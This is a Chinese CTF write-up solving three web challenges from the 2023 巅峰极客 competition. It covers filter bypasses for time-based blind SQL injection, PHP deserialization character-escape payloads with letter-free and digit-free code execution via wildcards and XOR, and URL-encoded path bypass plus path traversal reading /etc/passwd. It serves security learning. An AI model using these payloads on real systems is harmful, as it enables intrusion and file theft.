巅峰极客2023web writeup1
hellosql
经过简单fuzz一下发现过滤了1
* sleep union benchmark count if
为什么偏偏就过滤和时间盲注有点的关键词呢,我感觉是考时间盲注的bypass,禁用了sleep,benchmark和count(*)
,想到了get_lock,而这题就是考的笛卡尔积,碰到知识盲区了没做出来,赛后学了一下笛卡尔积时间盲注,查漏补缺了一下时间盲注的方法,都写这在这篇文章了时间盲注的方法
if过滤用case…when…then…end代替,count(*)
可以用其他的聚合函数(avg,sum,min,max)绕过,这里用max
1 | import requests |
unserialize
www.zip
下载源码,发现这几个文件:
function.php1
2
3
4
5
6
7
8
9
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}
function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
index.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();
if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}
login.php1
2
3
4
5
6
7
8
9
10
11
12
session_start();
include_once "my.php";
include_once "function.php";
if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}
$login = @unserialize(a($_SESSION['login']));
echo $login;
my.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;
function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}
function __destruct() {
unset($this->root);
unset($this->pwd);
}
function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
反序列化字符逃逸加无字母数字rce,这里需要知道一个知识:反序列化一个字符串为对象时如果这个字符串里包含一个对象那它也会反序列化,还有一个就是这个字符逃逸只需要看a函数就行
先随便测试一下:1
O:7:"push_it":2:{s:13:"push_itroot";s:4:"test";s:12:"push_itpwd";s:4:"test";}
==注意:==这里由于private属性有%00,没标出来知道就好
目标:1
";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /**`;?>";}
把它带入pwd变量:1
O:7:"push_it":2:{s:13:"push_itroot";s:4:"test";s:12:"push_itpwd";s:4:"";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /**`;?>";}";}
此时需要逃逸的字符是:1
";s:12:"push_itpwd";s:4:"
共27个字符,但要按28算,因为经过测试s后面这个4会变成两位数(注意有%00)
bbbbbb->aaaa少了2个,14个bbbbbb就行
payload:1
O:7:"push_it":2:{s:13:"\000push_it\000root";s:84:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:12:"\000push_it\000pwd";s:69:"";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /**`;?>";}";}
最终:1
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O:7:"pull_it":1:{s:1:"x";s:21:"?><?=`/???/??? /*`;?>";}
==通配符 /???/???这个模拟/bin/cat cat根目录所有==
或者构造异或cat /f*:1
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");
base64编码:1
KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7
脚本:1
2
3
4
5
6
7
8
9<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7"));
echo urlencode(serialize($l)));
得到:1
O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A39%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%08%08%0F%01%0D%09%22%5E%22%7F%60%60%60%60%60%22%29%3B%22%3B%7D
最终payload:1
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=";s:3:"pwd";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A39%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%08%08%0F%01%0D%09%22%5E%22%7F%60%60%60%60%60%22%29%3B%22%3B%7D
hinder
非预期:
提示访问hinder路由,发现1
2
3
4
5
6
7
8
9permission denied.
if (url.startsWith("/hinder")) {
response.setStatus(403);
response.getWriter().write("permission denied.");
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
url编码绕过:1
/%68%69%6e%64%65%72/
提示download路由1
/download.action?filename=hint
可以读文件:1
/%68%69%6e%64%65%72/download.action?filename=../../../../../../../../../../../../../../../../../etc/passwd
读了run.sh发现:1
/oh_u_f1nd_me
再读/oh_u_f1nd_me就行